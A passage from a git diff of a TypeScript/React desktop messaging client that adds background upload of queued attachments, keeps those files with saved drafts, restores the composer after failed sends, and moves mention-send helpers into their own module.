+  const addedMentionPubkeys = diffAddedMentionPubkeys(
+    extractMentionPubkeys(originalContent),
+    extractMentionPubkeys(content),
+    ownerPubkey ?? "",
+  );
+  const hasQueuedAttachments = draft.queuedAttachments.length > 0;
+  if (hasQueuedAttachments) setDeferredUploadPending(true);
+  clearComposer();
+
+  const finishEdit = async (uploaded: ImetaMedia[], signal?: AbortSignal) => {
+    // An explicit empty media tag set tells edit receivers to wipe attachments.
+    const { content: finalContent, mediaTags } = buildOutgoingMessage(
+      content,
+      [...draft.pendingImeta, ...uploaded],
+      new Set([
+        ...draft.spoileredAttachmentUrls,
+        ...draft.queuedAttachments.flatMap((attachment, index) =>
+          attachment.spoilered && uploaded[index] ? [uploaded[index].url] : [],
+        ),
+      ]),
+    );
+    const outgoingTags =
+      mergeOutgoingTags(
+        mediaTags,
+        buildCustomEmojiTags(finalContent, customEmoji),
+      ) ?? [];
+    if (signal?.aborted) return;
+    await save(finalContent, outgoingTags, addedMentionPubkeys, editTargetId);
+  };
+
+  if (hasQueuedAttachments) {
+    enqueueBackgroundMediaUpload({
+      attachments: draft.queuedAttachments,
+      onComplete: async (uploaded, signal) => {
+        try {
+          await finishEdit(uploaded, signal);
+        } catch {
+          restoreDraft();
+        } finally {
+          setDeferredUploadPending(false);
+        }
+      },
+      onError: (error) => {
+        restoreDraft();
+        setUploadError(String(error));
+        setDeferredUploadPending(false);
+      },
+      onCancel: () => {
+        restoreDraft();
+        setDeferredUploadPending(false);
+      },
+    });
+    return;
+  }
+
+  try {
+    await finishEdit([]);
+  } catch {
+    restoreDraft();
+  }
+}
diff --git a/desktop/src/features/messages/ui/useComposerHeightPadding.ts b/desktop/src/features/messages/ui/useComposerHeightPadding.ts
index 9990ce5066..6035ed7369 100644
--- a/desktop/src/features/messages/ui/useComposerHeightPadding.ts
+++ b/desktop/src/features/messages/ui/useComposerHeightPadding.ts
@@ -40,6 +40,11 @@ export function useComposerHeightPadding(
       return;
     }
 
+    // In CSS-variable mode the timeline controls are siblings of the scroll
+    // element. Set the measurement on their shared parent so both the virtual
+    // trailing spacer and floating controls inherit the same live height.
+    const cssVariableTarget = scrollEl.parentElement ?? scrollEl;
+
     const getScrollElement = (): HTMLElement =>
       mode === "css-variable"
         ? (scrollEl.querySelector<HTMLElement>(
@@ -79,7 +84,10 @@ export function useComposerHeightPadding(
       const wasAtBottom = isNearBottom();
 
       if (mode === "css-variable") {
-        scrollEl.style.setProperty("--composer-overlay-height", `${padding}px`);
+        cssVariableTarget.style.setProperty(
+          "--composer-overlay-height",
+          `${padding}px`,
+        );
       } else {
         scrollEl.style.paddingBottom = `${padding}px`;
       }
@@ -116,7 +124,7 @@ export function useComposerHeightPadding(
         cancelAnimationFrame(followBottomFrame);
       }
       if (mode === "css-variable") {
-        scrollEl.style.removeProperty("--composer-overlay-height");
+        cssVariableTarget.style.removeProperty("--composer-overlay-height");
       } else {
         scrollEl.style.paddingBottom = "";
       }
diff --git a/desktop/src/features/messages/ui/useDraftPersistSnapshot.ts b/desktop/src/features/messages/ui/useDraftPersistSnapshot.ts
index e2c4134bd6..14dae33adb 100644
--- a/desktop/src/features/messages/ui/useDraftPersistSnapshot.ts
+++ b/desktop/src/features/messages/ui/useDraftPersistSnapshot.ts
@@ -1,6 +1,7 @@
 import * as React from "react";
 
 import type { ImetaMedia } from "@/features/messages/lib/imetaMediaMarkdown";
+import type { QueuedMediaAttachment } from "@/features/messages/lib/backgroundMediaUploadStore";
 import type {
   DraftMentionRef,
   DraftState,
@@ -28,6 +29,19 @@ type UseDraftPersistLifecycleParams = {
   livePendingImeta: ImetaMedia[];
   /** Async setter for pendingImeta — called after the synchronous snapshot. */
   setPendingImeta: (imeta: ImetaMedia[]) => void;
+  /** Snapshot the local files owned by the outgoing draft key. */
+  getQueuedAttachments?: () => QueuedMediaAttachment[];
+  /** Retain local files in memory under their draft key. */
+  saveQueuedAttachmentsForDraft?: (
+    draftKey: string,
+    attachments: QueuedMediaAttachment[],
+  ) => void;
+  /** Local files cannot be persisted, so clear them at a draft-key boundary. */
+  clearQueuedAttachments?: () => void;
+  /** Restore local files retained while a deferred upload was off-channel. */
+  restoreQueuedAttachments?: (attachments: QueuedMediaAttachment[]) => void;
+  /** Read and remove local files retained for a recovered draft. */
+  takeQueuedAttachmentsForDraft?: (draftKey: string) => QueuedMediaAttachment[];
   /** Set the rich-text editor content from a draft string. */
   setContent: (content: string) => void;
   /** Clear the rich-text editor content (no-draft path). */
@@ -80,6 +94,11 @@ export function useDraftPersistLifecycle({
   restoreMentionRefs,
   livePendingImeta,
   setPendingImeta,
+  getQueuedAttachments,
+  saveQueuedAttachmentsForDraft,
+  clearQueuedAttachments,
+  restoreQueuedAttachments,
+  takeQueuedAttachmentsForDraft,
   setContent,
   clearContent,
   setSpoileredAttachmentUrls,
@@ -87,6 +106,12 @@ export function useDraftPersistLifecycle({
   syncComposerContentFromEditor,
 }: UseDraftPersistLifecycleParams): void {
   const pendingImetaForPersistRef = React.useRef<ImetaMedia[]>([]);
+  const restoredQueuedAttachmentsRef = React.useRef<QueuedMediaAttachment[]>(
+    [],
+  );
+  const restoredQueuedAttachmentsDraftKeyRef = React.useRef<string | null>(
+    null,
+  );
   // Render-time update: keep the ref in sync with committed state so the
   // cleanup always reads the latest value during normal mounted operation.
   pendingImetaForPersistRef.current = livePendingImeta;
@@ -99,6 +124,16 @@ export function useDraftPersistLifecycle({
     // already reflects the incoming channel, which would corrupt the outgoing
     // draft's channelId metadata.
 
+    // Files cannot be serialized into localStorage. Replace the outgoing
+    // queue (retained by the cleanup below) with the incoming draft's queue.
+    clearQueuedAttachments?.();
+    if (effectiveDraftKey !== restoredQueuedAttachmentsDraftKeyRef.current) {
+      restoredQueuedAttachmentsDraftKeyRef.current = effectiveDraftKey ?? null;
+      restoredQueuedAttachmentsRef.current = effectiveDraftKey
+        ? (takeQueuedAttachmentsForDraft?.(effectiveDraftKey) ?? [])
+        : [];
+    }
+    restoreQueuedAttachments?.(restoredQueuedAttachmentsRef.current);
     const saved = effectiveDraftKey ? loadDraft(effectiveDraftKey) : undefined;
     if (saved) {
       setContent(saved.content);
@@ -121,6 +156,10 @@ export function useDraftPersistLifecycle({
 
     return () => {
       if (effectiveDraftKey) {
+        const queuedAttachments = getQueuedAttachments?.() ?? [];
+        if (queuedAttachments.length > 0) {
+          saveQueuedAttachmentsForDraft?.(effectiveDraftKey, queuedAttachments);
+        }
         const content = syncComposerContentFromEditor();
         persistDraft(
           effectiveDraftKey,
diff --git a/desktop/src/features/messages/ui/useMentionSendFlow.helpers.ts b/desktop/src/features/messages/ui/useMentionSendFlow.helpers.ts
new file mode 100644
index 0000000000..76503bfab1
--- /dev/null
+++ b/desktop/src/features/messages/ui/useMentionSendFlow.helpers.ts
@@ -0,0 +1,76 @@
+import type { ManagedAgent } from "@/shared/api/types";
+import type { ImetaMedia } from "@/features/messages/lib/imetaMediaMarkdown";
+import type { QueuedMediaAttachment } from "@/features/messages/lib/backgroundMediaUploadStore";
+import type { DraftMentionRef } from "@/features/messages/lib/useDrafts";
+import { normalizePubkey } from "@/shared/lib/pubkey";
+import { MENTION_REFERENCE_TAG } from "@/shared/lib/resolveMentionNames";
+
+export { MENTION_REFERENCE_TAG };
+
+export type PendingNonMemberMentionSend = {
+  capturedChannelId: string | null;
+  capturedThreadContext: {
+    parentEventId: string | null;
+    threadHeadId: string | null;
+  } | null;
+  trimmed: string;
+  mentionPubkeys: string[];
+  nonMemberPubkeys: string[];
+  outgoingTags?: string[][];
+  preparedManagedAgents?: ManagedAgent[];
+  readyAgentPubkeys?: string[];
+  savedContent: string;
+  savedImeta: ImetaMedia[];
+  queuedAttachments: QueuedMediaAttachment[];
+  savedSpoileredAttachmentUrls: Set<string>;
+  sentDraftKey: string | null | undefined;
+  recoveryDraftKey: string | null | undefined;
+  savedMentionRefs: DraftMentionRef[];
+  audienceGeneration: number;
+  audienceRevision: number | null;
+  explicitAgentPubkeys: string[];
+};
+
+export type SendMessageWithMentionFlowInput = {
+  capturedChannelId: string | null;
+  capturedThreadContext?: PendingNonMemberMentionSend["capturedThreadContext"];
+  pendingImeta: ImetaMedia[];
+  queuedAttachments?: QueuedMediaAttachment[];
+  sentDraftKey: string | null | undefined;
+  recoveryDraftKey: string | null | undefined;
+  spoileredAttachmentUrls?: ReadonlySet<string>;
+  trimmed: string;
+  audienceGeneration?: number;
+  audienceRevision?: number | null;
+};
+
+export function mergeOutgoingTagsWithReferenceMentions(
+  outgoingTags: string[][] | undefined,
+  pubkeys: Iterable<string>,
+) {
+  const normalizedPubkeys = uniqueNormalizedPubkeys(pubkeys);
+  if (normalizedPubkeys.length === 0) {
+    return outgoingTags;
+  }
+
+  return [
+    ...(outgoingTags ?? []),
+    ...normalizedPubkeys.map((pubkey) => [MENTION_REFERENCE_TAG, pubkey]),
+  ];
+}
+
+export function getErrorMessage(error: unknown, fallback: string) {
+  return error instanceof Error && error.message ? error.message : fallback;
+}
+
+export function uniqueNormalizedPubkeys(pubkeys: Iterable<string>) {
+  return [...new Set([...pubkeys].map(normalizePubkey))].filter(Boolean);
+}
+
+export function isManagedAgentRunning(agent: ManagedAgent) {
+  return agent.status === "running" || agent.status === "deployed";
+}
+
+export function isProviderBackedAgent(agent: ManagedAgent) {
+  return agent.backend.type === "provider";
+}
diff --git a/desktop/src/features/messages/ui/useMentionSendFlow.ts b/desktop/src/features/messages/ui/useMentionSendFlow.ts
index 6d4e007cd4..647ad4cbe8 100644
--- a/desktop/src/features/messages/ui/useMentionSendFlow.ts
+++ b/desktop/src/features/messages/ui/useMentionSendFlow.ts
@@ -1,6 +1,5 @@
 import * as React from "react";
 import { toast } from "sonner";
-
 import {
   type CreateChannelManagedAgentInput,
   useAttachManagedAgentToChannelMutation,
@@ -11,8 +10,18 @@ import {
   useStartManagedAgentMutation,
 } from "@/features/agents/hooks";
 import { resolvePersonaRuntime } from "@/features/agents/lib/resolvePersonaRuntime";
-import { useAddChannelMembersMutation } from "@/features/channels/hooks";
+import {
+  useAddChannelMembersMutation,
+  useCanAddChannelMembers,
+} from "@/features/channels/hooks";
+import { PRIVATE_CHANNEL_ADD_DENIED_MESSAGE } from "@/features/channels/lib/channelMemberAdmission";
+import { dmThreadAgentMentionError } from "@/features/messages/lib/dmThreadAgentMentionError";
 import { filterEffectiveExplicitAgentPubkeys } from "@/features/messages/lib/effectiveExplicitAgentPubkeys";
+import {
+  prepareBackgroundMediaUpload,
+  saveQueuedAttachmentsForDraft,
+  type QueuedMediaAttachment,
+} from "@/features/messages/lib/backgroundMediaUploadStore";
 import type { UseChannelLinksResult } from "@/features/messages/lib/useChannelLinks";
 import type { UseEmojiAutocompleteResult } from "@/features/messages/lib/useEmojiAutocomplete";
 import {
@@ -23,57 +32,28 @@ import {
 import type { UseMentionsResult } from "@/features/messages/lib/useMentions";
 import type { UseRichTextEditorResult } from "@/features/messages/lib/useRichTextEditor";
 import type { UseDraftsResult } from "@/features/messages/lib/useDrafts";
+import { invokeTauri } from "@/shared/api/tauri";
 import type { CustomEmoji } from "@/shared/lib/remarkCustomEmoji";
 import type { AcpRuntime, ChannelType, ManagedAgent } from "@/shared/api/types";
 import { normalizePubkey, truncatePubkey } from "@/shared/lib/pubkey";
-import { MENTION_REFERENCE_TAG } from "@/shared/lib/resolveMentionNames";
 import { buildCustomEmojiTags } from "@/shared/lib/customEmojiTags";
-
-type PendingNonMemberMentionSend = {
-  capturedChannelId: string | null;
-  /** Thread context captured at submit time — null for main-timeline sends. */
-  capturedThreadContext: {
-    parentEventId: string | null;
-    threadHeadId: string | null;
-  } | null;
-  finalContent: string;
-  mentionPubkeys: string[];
-  nonMemberPubkeys: string[];
-  outgoingTags?: string[][];
-  preparedManagedAgents?: ManagedAgent[];
-  readyAgentPubkeys?: string[];
-  savedContent: string;
-  savedImeta: ImetaMedia[];
-  savedSpoileredAttachmentUrls: Set<string>;
-  sentDraftKey: string | null | undefined;
-  audienceGeneration: number;
-  audienceRevision: number | null;
-  /** Agent mentions explicitly authored in this draft (never inferred). */
-  explicitAgentPubkeys: string[];
-};
-
-type SendMessageWithMentionFlowInput = {
-  capturedChannelId: string | null;
-  /** Thread context captured at submit time — null for main-timeline sends. */
-  capturedThreadContext?: {
-    parentEventId: string | null;
-    threadHeadId: string | null;
-  } | null;
-  pendingImeta: ImetaMedia[];
-  sentDraftKey: string | null | undefined;
-  spoileredAttachmentUrls?: ReadonlySet<string>;
-  trimmed: string;
-  audienceGeneration?: number;
-  audienceRevision?: number | null;
-};
-
+import {
+  getErrorMessage,
+  isManagedAgentRunning,
+  isProviderBackedAgent,
+  MENTION_REFERENCE_TAG,
+  mergeOutgoingTagsWithReferenceMentions,
+  type PendingNonMemberMentionSend,
+  type SendMessageWithMentionFlowInput,
+  uniqueNormalizedPubkeys,
+} from "./useMentionSendFlow.helpers";
 type UseMentionSendFlowOptions = {
   channelId: string | null;
   channelLinks: Pick<UseChannelLinksResult, "clearChannels">;
   channelType: ChannelType | null;
   contentRef: React.MutableRefObject<string>;
   customEmoji: CustomEmoji[];
-  drafts: Pick<UseDraftsResult, "markDraftSent">;
+  drafts: Pick<UseDraftsResult, "loadDraft" | "markDraftSent" | "persistDraft">;
   emojiAutocomplete: Pick<UseEmojiAutocompleteResult, "clearEmojis">;
   mentions: UseMentionsResult;
   onPrepareSendChannel?: (
@@ -98,6 +78,9 @@ type UseMentionSendFlowOptions = {
   setContent: (content: string) => void;
   setIsEmojiPickerOpen: React.Dispatch<React.SetStateAction<boolean>>;
   setPendingImeta: (pendingImeta: ImetaMedia[]) => void;
+  hasUnsavedMedia: () => boolean;
+  clearQueuedAttachments: () => void;
+  restoreQueuedAttachments: (attachments: QueuedMediaAttachment[]) => void;
   setSpoileredAttachmentUrls?: React.Dispatch<
     React.SetStateAction<Set<string>>
   >;
@@ -109,43 +92,6 @@ type UseMentionSendFlowOptions = {
   }) => void;
   resolvePostSendContent?: (effectiveExplicitAgentPubkeys: string[]) => string;
 };
-
-function mergeOutgoingTagsWithReferenceMentions(
-  outgoingTags: string[][] | undefined,
-  pubkeys: Iterable<string>,
-) {
-  const normalizedPubkeys = uniqueNormalizedPubkeys(pubkeys);
-  if (normalizedPubkeys.length === 0) {
-    return outgoingTags;
-  }
-
-  return [
-    ...(outgoingTags ?? []),
-    ...normalizedPubkeys.map((pubkey) => [MENTION_REFERENCE_TAG, pubkey]),
-  ];
-}
-
-function getErrorMessage(error: unknown, fallback: string) {
-  return error instanceof Error && error.message ? error.message : fallback;
-}
-
-function uniqueNormalizedPubkeys(pubkeys: Iterable<string>) {
-  return [...new Set([...pubkeys].map(normalizePubkey))].filter(Boolean);
-}
-
-function isManagedAgentRunning(agent: ManagedAgent) {
-  return agent.status === "running" || agent.status === "deployed";
-}
-
-function isProviderBackedAgent(agent: ManagedAgent) {
-  return agent.backend.type === "provider";
-}
-
-const DM_THREAD_AGENT_MENTION_ERROR =
-  "Agents must already be in a DM to be mentioned in its threads. Start a new conversation that includes the agent.";
-const DM_THREAD_MEMBERS_LOADING_ERROR =
-  "Checking conversation members. Try again in a moment.";
-
 export function useMentionSendFlow({
   channelId,
   channelLinks,
@@ -161,6 +107,9 @@ export function useMentionSendFlow({
   setContent,
   setIsEmojiPickerOpen,
   setPendingImeta,
+  hasUnsavedMedia,
+  clearQueuedAttachments,
+  restoreQueuedAttachments,
   setSpoileredAttachmentUrls,
   onSuccessfulExplicitAgentAudience,
   resolvePostSendContent,
@@ -187,8 +136,8 @@ export function useMentionSendFlow({
       isMountedRef.current = false;
     };
   }, []);
-
   const addMembersMutation = useAddChannelMembersMutation(channelId);
+  const canInviteNonMembers = useCanAddChannelMembers(channelId);
   const attachAgentMutation = useAttachManagedAgentToChannelMutation(channelId);
   const createPersonaAgentMutation =
     useCreateChannelManagedAgentMutation(channelId);
@@ -197,18 +146,15 @@ export function useMentionSendFlow({
   const availableRuntimesQuery = useAvailableAcpRuntimes();
   const managedAgentsQuery = useManagedAgentsQuery();
   const startAgentMutation = useStartManagedAgentMutation();
-
   const getManagedAgentsByPubkey = React.useCallback(async () => {
     const agents =
       managedAgentsQuery.data ??
       (await managedAgentsQuery.refetch()).data ??
       [];
-
     return new Map(
       agents.map((agent) => [normalizePubkey(agent.pubkey), agent]),
     );
   }, [managedAgentsQuery.data, managedAgentsQuery.refetch]);
-
   const getAvailableRuntimes = React.useCallback(async (): Promise<
     AcpRuntime[]
   > => {
@@ -216,7 +162,6 @@ export function useMentionSendFlow({
     if (cached.length > 0 || !availableRuntimesQuery.isLoading) {
       return cached;
     }
-
     const refetched = await availableRuntimesQuery.refetch();
     return (refetched.data ?? []).filter(
       (runtime): runtime is AcpRuntime =>
@@ -229,7 +174,6 @@ export function useMentionSendFlow({
     availableRuntimesQuery.isLoading,
     availableRuntimesQuery.refetch,
   ]);
-
   const ensureManagedAgentMentionsReady = React.useCallback(
     async (
       mentionPubkeys: string[],
@@ -398,6 +342,7 @@ export function useMentionSendFlow({
         mentions.cancelMentionAutocomplete();
       } else richText.clearContent();
       setPendingImeta([]);
+      clearQueuedAttachments();
       setSpoileredAttachmentUrls?.(new Set());
       if (!postSendContent) mentions.clearMentions();
       channelLinks.clearChannels();
@@ -415,6 +360,7 @@ export function useMentionSendFlow({
       setContent,
       setIsEmojiPickerOpen,
       setPendingImeta,
+      clearQueuedAttachments,
       setSpoileredAttachmentUrls,
     ],
   );
@@ -441,12 +387,33 @@ export function useMentionSendFlow({
 
       isCompleteSendPendingRef.current = true;
       setIsCompleteSendPending(true);
+      const preparedUpload =
+        draft.queuedAttachments.length > 0
+          ? prepareBackgroundMediaUpload(draft.queuedAttachments)
+          : null;
+      const persistPreflightDraft = () => {
+        if (!draft.recoveryDraftKey) return;
+        drafts.persistDraft(
+          draft.recoveryDraftKey,
+          draft.savedContent,
+          draft.capturedChannelId ?? draft.recoveryDraftKey,
+          draft.savedImeta,
+          [...draft.savedSpoileredAttachmentUrls],
+          draft.savedMentionRefs,
+        );
+        saveQueuedAttachmentsForDraft(
+          draft.recoveryDraftKey,
+          draft.queuedAttachments,
+        );
+      };
+      let uploadStarted = false;
       try {
         const readyAgentPubkeys = new Set(
           (draft.readyAgentPubkeys ?? []).map(normalizePubkey),
         );
         const managedAgentsByPubkey = await getManagedAgentsByPubkey();
         if (!isMountedRef.current) {
+          persistPreflightDraft();
           return;
         }
         for (const agent of draft.preparedManagedAgents ?? []) {
@@ -472,6 +439,7 @@ export function useMentionSendFlow({
             return;
           }
           if (!isMountedRef.current) {
+            persistPreflightDraft();
             return;
           }
         }
@@ -485,6 +453,7 @@ export function useMentionSendFlow({
           [...managedAgentsByPubkey.values()],
         );
         if (!isMountedRef.current) {
+          persistPreflightDraft();
           return;
         }
         if (agentReadiness.errors.length > 0) {
@@ -499,29 +468,110 @@ export function useMentionSendFlow({
           return;
         }
 
+        if (preparedAgentPubkeys.length > 0 && sendChannelId) {
+          try {
+            await invokeTauri("sync_agents_to_active_huddle", {
+              channelId: sendChannelId,
+              agentPubkeys: preparedAgentPubkeys,
+            });
+          } catch (error) {
+            const message = `Could not add mentioned agent to the Huddle: ${getErrorMessage(
+              error,
+              "Huddle enrollment failed.",
+            )}`;
+            setNonMemberPromptError(message);
+            toast.error(message);
+            return;
+          }
+        }
+
         const effectiveExplicitAgentPubkeys =
           filterEffectiveExplicitAgentPubkeys(
             draft.explicitAgentPubkeys,
             mentionPubkeys,
           );
 
-        // Replace the sent body directly with its final post-send state before
-        // the async network send starts. This avoids an intermediate blank frame
-        // for persistent audiences while preserving the ordinary empty state.
-        if (draft.capturedChannelId === channelIdRef.current) {
-          clearComposer(
-            resolvePostSendContent?.(effectiveExplicitAgentPubkeys),
+        const send = onSendRef.current;
+        const persistCanceledDraft = () => {
+          if (!draft.recoveryDraftKey) return;
+          const existing = drafts.loadDraft(draft.recoveryDraftKey);
+          if (
+            existing &&
+            (existing.content !== draft.savedContent ||
+              existing.channelId !==
+                (draft.capturedChannelId ?? draft.recoveryDraftKey) ||
+              JSON.stringify(existing.pendingImeta) !==
+                JSON.stringify(draft.savedImeta) ||
+              JSON.stringify(existing.spoileredAttachmentUrls) !==
+                JSON.stringify([...draft.savedSpoileredAttachmentUrls]))
+          ) {
+            return;
+          }
+          drafts.persistDraft(
+            draft.recoveryDraftKey,
+            draft.savedContent,
+            draft.capturedChannelId ?? draft.recoveryDraftKey,
+            draft.savedImeta,
+            [...draft.savedSpoileredAttachmentUrls],
+            draft.savedMentionRefs,
           );
-        }
-
-        try {
-          await onSendRef.current(
-            draft.finalContent,
+        };
+        const restoreComposerAfterFailure = () => {
+          persistCanceledDraft();
+          const canRestoreCurrentComposer =
+            isMountedRef.current &&
+            (draft.capturedChannelId === channelIdRef.current ||
+              channelIdRef.current === null) &&
+            contentRef.current.trim().length === 0 &&
+            !hasUnsavedMedia();
+          if (!canRestoreCurrentComposer && draft.recoveryDraftKey) {
+            saveQueuedAttachmentsForDraft(
+              draft.recoveryDraftKey,
+              draft.queuedAttachments,
+            );
+          }
+          if (!canRestoreCurrentComposer) {
+            return;
+          }
+          setContent(draft.savedContent);
+          contentRef.current = draft.savedContent;
+          richText.setContent(draft.savedContent);
+          setPendingImeta(draft.savedImeta);
+          restoreQueuedAttachments(draft.queuedAttachments);
+          mentions.restoreDraftMentionRefs(draft.savedMentionRefs);
+          setSpoileredAttachmentUrls?.(
+            new Set(draft.savedSpoileredAttachmentUrls),
+          );
+        };
+        const finishSend = async (
+          uploaded: ImetaMedia[],
+          signal?: AbortSignal,
+        ) => {
+          const { content: finalContent, mediaTags } = buildOutgoingMessage(
+            draft.trimmed,
+            [...draft.savedImeta, ...uploaded],
+            new Set([
+              ...draft.savedSpoileredAttachmentUrls,
+              ...draft.queuedAttachments.flatMap((attachment, index) =>
+                attachment.spoilered && uploaded[index]
+                  ? [uploaded[index].url]
+                  : [],
+              ),
+            ]),
+          );
+          const finalOutgoingTags = mergeOutgoingTags(
+            mediaTags,
+            outgoingTags ?? [],
+          );
+          if (signal?.aborted) return;
+          await send(
+            finalContent,
             mentionPubkeys,
-            outgoingTags,
+            finalOutgoingTags,
             sendChannelId,
             draft.capturedThreadContext,
           );
+          if (signal?.aborted) return;
           if (effectiveExplicitAgentPubkeys.length > 0) {
             // Promote only explicitly authored agents that remained effective
             // for this successful send. "Send without inviting" removes its
@@ -537,25 +587,57 @@ export function useMentionSendFlow({
             drafts.markDraftSent(
               draft.sentDraftKey,
               draft.savedContent,
-              sendChannelId ?? draft.sentDraftKey,
+              draft.capturedChannelId ?? draft.sentDraftKey,
               draft.savedImeta,
               [...draft.savedSpoileredAttachmentUrls],
             );
           }
-        } catch {
-          // Only restore the composer content if the user is still on the
-          // channel that originated the send.
-          if (draft.capturedChannelId === channelIdRef.current) {
-            setContent(draft.savedContent);
-            contentRef.current = draft.savedContent;
-            richText.setContent(draft.savedContent);
-            setPendingImeta(draft.savedImeta);
-            setSpoileredAttachmentUrls?.(
-              new Set(draft.savedSpoileredAttachmentUrls),
-            );
+        };
+        if (preparedUpload) {
+          uploadStarted = preparedUpload.start({
+            onComplete: async (uploaded, signal) => {
+              try {
+                await finishSend(uploaded, signal);
+              } catch {
+                restoreComposerAfterFailure();
+              }
+            },
+            onError: (error) => {
+              restoreComposerAfterFailure();
+              toast.error(
+                `Upload failed: ${getErrorMessage(error, "Unknown error")}`,
+              );
+            },
+            onCancel: () => {
+              restoreComposerAfterFailure();
+            },
+          });
+          if (!uploadStarted) {
+            return;
+          }
+        }
+
+        // Replace the sent body directly with its final post-send state before
+        // the async network send starts. This avoids an intermediate blank frame
+        // for persistent audiences while preserving the ordinary empty state.
+        if (
+          draft.capturedChannelId === channelIdRef.current ||
+          channelIdRef.current === null
+        ) {
+          clearComposer(
+            resolvePostSendContent?.(effectiveExplicitAgentPubkeys),
+          );
+        }
+
+        if (!preparedUpload) {
+          try {
+            await finishSend([]);
+          } catch {
+            restoreComposerAfterFailure();
           }
         }
       } finally {
+        if (!uploadStarted) preparedUpload?.cancel();
         isCompleteSendPendingRef.current = false;
         if (isMountedRef.current) {
           setIsCompleteSendPending(false);
@@ -576,7 +658,10 @@ export function useMentionSendFlow({
       richText.setContent,
       setContent,
       setPendingImeta,
+      restoreQueuedAttachments,
       setSpoileredAttachmentUrls,
+      hasUnsavedMedia,
+      mentions.restoreDraftMentionRefs,
     ],
   );
 
@@ -601,32 +686,17 @@ export function useMentionSendFlow({
     (
       trimmed: string,
       capturedThreadContext: SendMessageWithMentionFlowInput["capturedThreadContext"],
-    ) => {
-      if (channelType !== "dm" || capturedThreadContext == null) {
-        return null;
-      }
-
-      if (mentions.extractMentionPersonas(trimmed).length > 0) {
-        return DM_THREAD_AGENT_MENTION_ERROR;
-      }
-
-      const agentPubkeys = mentions
-        .extractMentionPubkeys(trimmed)
-        .filter(mentions.isAgentPubkey);
-      if (agentPubkeys.length === 0) {
-        return null;
-      }
-
-      if (!mentions.hasResolvedMembers) {
-        return DM_THREAD_MEMBERS_LOADING_ERROR;
-      }
-
-      return agentPubkeys.some(
-        (pubkey) => !mentions.memberPubkeys.has(normalizePubkey(pubkey)),
-      )
-        ? DM_THREAD_AGENT_MENTION_ERROR
-        : null;
-    },
+    ) =>
+      dmThreadAgentMentionError({
+        trimmed,
+        isThreadReply: capturedThreadContext != null,
+        channelType,
+        extractMentionPersonas: mentions.extractMentionPersonas,
+        extractMentionPubkeys: mentions.extractMentionPubkeys,
+        isAgentPubkey: mentions.isAgentPubkey,
+        hasResolvedMembers: mentions.hasResolvedMembers,
+        memberPubkeys: mentions.memberPubkeys,
+      }),
     [
       channelType,
       mentions.extractMentionPersonas,
@@ -642,7 +712,9 @@ export function useMentionSendFlow({
       capturedChannelId,
       capturedThreadContext = null,
       pendingImeta,
+      queuedAttachments = [],
       sentDraftKey,
+      recoveryDraftKey,
       spoileredAttachmentUrls = new Set(),
       trimmed,
       audienceGeneration = 0,
@@ -703,15 +775,7 @@ export function useMentionSendFlow({
             createdPersonaAgentPubkeySet.has(pubkey),
         );
         const pubkeys = explicitMentionPubkeys;
-        const { content: finalContent, mediaTags } = buildOutgoingMessage(
-          trimmed,
-          pendingImeta,
-          spoileredAttachmentUrls,
-        );
-        const outgoingTags = mergeOutgoingTags(
-          mediaTags,
-          buildCustomEmojiTags(finalContent, customEmoji),
-        );
+        const outgoingTags = buildCustomEmojiTags(trimmed, customEmoji);
         const nonMemberPubkeys = getNonMemberMentionPubkeys(pubkeys);
         let promptNonMemberPubkeys = nonMemberPubkeys.filter(
           (pubkey) =>
@@ -734,7 +798,7 @@ export function useMentionSendFlow({
         const pendingDraft: PendingNonMemberMentionSend = {
           capturedChannelId: effectiveChannelId,
           capturedThreadContext,
-          finalContent,
+          trimmed,
           mentionPubkeys: pubkeys,
           nonMemberPubkeys: promptNonMemberPubkeys,
           outgoingTags,
@@ -745,8 +809,11 @@ export function useMentionSendFlow({
               : createdPersonaAgentPubkeys,
           savedContent: trimmed,
           savedImeta: [...pendingImeta],
+          queuedAttachments: [...queuedAttachments],
           savedSpoileredAttachmentUrls: new Set(spoileredAttachmentUrls),
           sentDraftKey,
+          recoveryDraftKey,
+          savedMentionRefs: mentions.getDraftMentionRefs(trimmed),
           audienceGeneration,
           audienceRevision,
           explicitAgentPubkeys,
@@ -775,6 +842,7 @@ export function useMentionSendFlow({
       mentions.extractMentionPubkeys,
       mentions.isAgentPubkey,
       mentions.isManagedAgentPubkey,
+      mentions.getDraftMentionRefs,
       onPrepareSendChannel,
     ],
   );
@@ -808,6 +876,12 @@ export function useMentionSendFlow({
 
   const handleInviteNonMembers = React.useCallback(() => {
     if (!pendingNonMemberSend) return;
+    // The dialog hides Invite in this case; this guards the keyboard/programmatic
+    // path so we surface the reason instead of a raw relay rejection.
+    if (!canInviteNonMembers) {
+      setNonMemberPromptError(PRIVATE_CHANNEL_ADD_DENIED_MESSAGE);
+      return;
+    }
 
     const invitedPubkeys = new Set(
       pendingNonMemberSend.nonMemberPubkeys.map(normalizePubkey),
@@ -882,6 +956,7 @@ export function useMentionSendFlow({
     });
   }, [
     addMembersMutation,
+    canInviteNonMembers,
     completeSend,
     getManagedAgentsByPubkey,
     mentions.isAgentPubkey,
@@ -894,25 +969,29 @@ export function useMentionSendFlow({
   }, []);
 
   return {
-    dismissNonMemberPrompt,
-    isInvitePending:
-      isMentionSendPending ||
-      isCompleteSendPending ||
-      addMembersMutation.isPending ||
-      attachAgentMutation.isPending ||
-      createPersonaAgentMutation.isPending ||
-      startAgentMutation.isPending,
     isPreparingMentionSend:
       isMentionSendPending ||
       isCompleteSendPending ||
       attachAgentMutation.isPending ||
       createPersonaAgentMutation.isPending ||
       startAgentMutation.isPending,
-    nonMemberPromptError,
-    pendingNonMemberNames,
-    pendingNonMemberSend,
+    /** Spread straight into `NonMemberMentionDialog`. */
+    nonMemberPromptProps: {
+      canInvite: canInviteNonMembers,
+      error: nonMemberPromptError,
+      isInvitePending:
+        isMentionSendPending ||
+        isCompleteSendPending ||
+        addMembersMutation.isPending ||
+        attachAgentMutation.isPending ||
+        createPersonaAgentMutation.isPending ||
+        startAgentMutation.isPending,
+      names: pendingNonMemberNames,
+      onDismiss: dismissNonMemberPrompt,
+      onDoNothing: handleSendWithoutInviting,
+      onInvite: handleInviteNonMembers,
+      open: pendingNonMemberSend !== null,
+    },
     sendMessageWithMentionFlow,
-    sendWithoutInviting: handleSendWithoutInviting,
-    inviteNonMembers: handleInviteNonMembers,
   };
 }
diff --git a/desktop/src/features/messages/ui/useNewMessageRecipients.ts b/desktop/src/features/messages/ui/useNewMessageRecipients.ts
index c9ea05e428..494ef124d2 100644
--- a/desktop/src/features/messages/ui/useNewMessageRecipients.ts
